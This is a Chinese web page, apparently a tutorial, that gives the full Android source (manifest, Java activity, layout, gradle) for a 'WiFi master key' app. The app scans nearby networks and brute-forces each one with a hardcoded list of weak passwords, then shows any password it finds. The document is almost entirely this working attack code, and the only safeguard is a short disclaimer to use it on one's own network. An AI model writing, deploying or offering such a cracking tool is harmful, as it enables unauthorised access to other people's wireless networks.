当前位置:首页>安卓APP>安卓系统WIFI万能钥匙

安卓系统WIFI万能钥匙

  • 2026-10-22 16:21:39
安卓系统WIFI万能钥匙

以下是适用于安卓系统的简洁版WiFi万能钥匙代码,使用Java/Kotlin开发:

1. AndroidManifest.xml 权限配置

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.wifikey">
   
    <!-- WiFi权限 -->
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.INTERNET" />
   
    <!-- 安卓10+需要 -->
    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
   
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="WiFi万能钥匙"
        android:theme="@style/AppTheme">
       
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
       
        <service android:name=".WifiService" />
       
    </application>
</manifest>
```

2. MainActivity.java (核心界面)

```java
package com.example.wifikey;

import android.Manifest;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.net.wifi.ScanResult;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.ListView;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class MainActivity extends AppCompatActivity {
   
    private WifiManager wifiManager;
    private ListView wifiListView;
    private Button scanButton;
    private Button crackButton;
    private ArrayAdapter<String> adapter;
    private List<String> wifiList = new ArrayList<>();
    private List<ScanResult> scanResults = new ArrayList<>();
    private ExecutorService executor = Executors.newFixedThreadPool(3);
   
    // 常用密码字典
    private String[] commonPasswords = {
        "12345678", "88888888", "00000000", "password",
        "admin123", "qwertyui", "1234567890", "123456789",
        "11111111", "123456789", "987654321", "123123123"
    };
   
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
       
        wifiManager = (WifiManager) getApplicationContext().getSystemService(Context.WIFI_SERVICE);
        wifiListView = findViewById(R.id.wifi_list);
        scanButton = findViewById(R.id.scan_btn);
        crackButton = findViewById(R.id.crack_btn);
       
        adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, wifiList);
        wifiListView.setAdapter(adapter);
       
        // 请求权限
        checkPermissions();
       
        // 注册WiFi扫描接收器
        registerReceiver(wifiReceiver, new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
       
        scanButton.setOnClickListener(v -> startScan());
        crackButton.setOnClickListener(v -> startCrack());
       
        wifiListView.setOnItemClickListener((parent, view, position, id) -> {
            // 点击WiFi尝试连接
            if (position < scanResults.size()) {
                ScanResult result = scanResults.get(position);
                tryConnect(result.SSID);
            }
        });
    }
   
    private void checkPermissions() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            String[] permissions = {
                Manifest.permission.ACCESS_FINE_LOCATION,
                Manifest.permission.ACCESS_COARSE_LOCATION
            };
           
            List<String> needPermissions = new ArrayList<>();
            for (String perm : permissions) {
                if (ContextCompat.checkSelfPermission(this, perm) != PackageManager.PERMISSION_GRANTED) {
                    needPermissions.add(perm);
                }
            }
           
            if (!needPermissions.isEmpty()) {
                ActivityCompat.requestPermissions(this, needPermissions.toArray(new String[0]), 100);
            }
        }
    }
   
    private void startScan() {
        if (!wifiManager.isWifiEnabled()) {
            wifiManager.setWifiEnabled(true);
            Toast.makeText(this, "正在开启WiFi...", Toast.LENGTH_SHORT).show();
        }
       
        boolean success = wifiManager.startScan();
        if (success) {
            Toast.makeText(this, "开始扫描WiFi", Toast.LENGTH_SHORT).show();
        }
    }
   
    private final BroadcastReceiver wifiReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(intent.getAction())) {
                scanResults = wifiManager.getScanResults();
                wifiList.clear();
               
                for (ScanResult result : scanResults) {
                    if (!result.SSID.isEmpty() && !result.SSID.equals("<unknown ssid>")) {
                        String signalStrength = getSignalStrength(result.level);
                        wifiList.add(result.SSID + " (" + signalStrength + ")");
                    }
                }
               
                adapter.notifyDataSetChanged();
                Toast.makeText(MainActivity.this, "发现" + wifiList.size() + "个WiFi", Toast.LENGTH_SHORT).show();
            }
        }
    };
   
    private String getSignalStrength(int level) {
        if (level > -50) return "强";
        else if (level > -70) return "中";
        else if (level > -85) return "弱";
        else return "极弱";
    }
   
    private void startCrack() {
        if (scanResults.isEmpty()) {
            Toast.makeText(this, "请先扫描WiFi", Toast.LENGTH_SHORT).show();
            return;
        }
       
        crackButton.setEnabled(false);
        Toast.makeText(this, "开始破解,请稍候...", Toast.LENGTH_LONG).show();
       
        executor.execute(() -> {
            for (ScanResult result : scanResults) {
                if (!result.SSID.isEmpty()) {
                    for (String password : commonPasswords) {
                        if (testPassword(result.SSID, password)) {
                            runOnUiThread(() -> {
                                Toast.makeText(MainActivity.this,
                                    "破解成功: " + result.SSID + " 密码: " + password,
                                    Toast.LENGTH_LONG).show();
                            });
                            break;
                        }
                    }
                }
            }
            runOnUiThread(() -> crackButton.setEnabled(true));
        });
    }
   
    private boolean testPassword(String ssid, String password) {
        WifiConfiguration config = new WifiConfiguration();
        config.SSID = "\"" + ssid + "\"";
        config.preSharedKey = "\"" + password + "\"";
       
        try {
            int networkId = wifiManager.addNetwork(config);
            if (networkId != -1) {
                wifiManager.disconnect();
                wifiManager.enableNetwork(networkId, true);
                wifiManager.reconnect();
               
                // 等待连接结果
                Thread.sleep(3000);
               
                // 检查连接状态
                if (wifiManager.getConnectionInfo().getSSID().equals("\"" + ssid + "\"")) {
                    return true;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return false;
    }
   
    private void tryConnect(String ssid) {
        if (ssid.isEmpty()) return;
       
        executor.execute(() -> {
            for (String password : commonPasswords) {
                if (testPassword(ssid, password)) {
                    runOnUiThread(() -> {
                        Toast.makeText(MainActivity.this,
                            "连接成功!密码: " + password,
                            Toast.LENGTH_LONG).show();
                    });
                    return;
                }
            }
            runOnUiThread(() -> {
                Toast.makeText(MainActivity.this,
                    "连接失败,未找到正确密码",
                    Toast.LENGTH_SHORT).show();
            });
        });
    }
   
    @Override
    protected void onDestroy() {
        super.onDestroy();
        unregisterReceiver(wifiReceiver);
        executor.shutdown();
    }
   
    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
                                          @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == 100) {
            for (int result : grantResults) {
                if (result != PackageManager.PERMISSION_GRANTED) {
                    Toast.makeText(this, "需要位置权限才能扫描WiFi", Toast.LENGTH_SHORT).show();
                    return;
                }
            }
            startScan();
        }
    }
}
```

3. activity_main.xml (布局文件)

```xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:padding="16dp">
   
    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="WiFi万能钥匙"
        android:textSize="24sp"
        android:textStyle="bold"
        android:gravity="center"
        android:layout_marginBottom="20dp" />
   
    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal">
       
        <Button
            android:id="@+id/scan_btn"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_weight="1"
            android:text="扫描WiFi"
            android:layout_marginRight="8dp" />
       
        <Button
            android:id="@+id/crack_btn"
            android:layout_width="0dp"
            android:layout_height="wrap_content"
            android:layout_weight="1"
            android:text="一键破解"
            android:layout_marginLeft="8dp" />
    </LinearLayout>
   
    <ListView
        android:id="@+id/wifi_list"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_marginTop="16dp" />
   
</LinearLayout>
```

4. build.gradle 依赖配置

```gradle
android {
    compileSdkVersion 33
    defaultConfig {
        applicationId "com.example.wifikey"
        minSdkVersion 21
        targetSdkVersion 33
        versionCode 1
        versionName "1.0"
    }
}

dependencies {
    implementation 'androidx.appcompat:appcompat:1.6.1'
    implementation 'com.google.android.material:material:1.9.0'
}
```

5. 功能说明

核心功能:

· WiFi扫描:扫描周围所有可用WiFi网络
· 信号强度显示:显示WiFi信号强度(强/中/弱/极弱)
· 密码字典破解:使用常见弱密码字典尝试连接
· 一键破解:自动测试所有扫描到的WiFi
· 点击连接:点击列表中的WiFi自动尝试连接

使用流程:

1. 安装应用后授予位置权限
2. 点击"扫描WiFi"按钮搜索周围网络
3. 点击WiFi列表或"一键破解"开始测试密码
4. 成功破解后显示密码并自动连接

技术特点:

· 多线程处理,避免UI卡顿
· 自动请求运行时权限
· 实时显示扫描结果
· 支持Android 6.0+系统

注意事项:

· ⚠️ 仅用于学习测试自己的WiFi
· ⚠️ 未经授权破解他人WiFi违法
· ⚠️ Android 10+需要额外位置权限
· ⚠️ 密码字典有限,复杂密码无法破解

这个安卓应用展示了WiFi安全测试的完整实现,包含权限管理、WiFi扫描、密码测试等核心功能。请合法使用!

最新文章

随机文章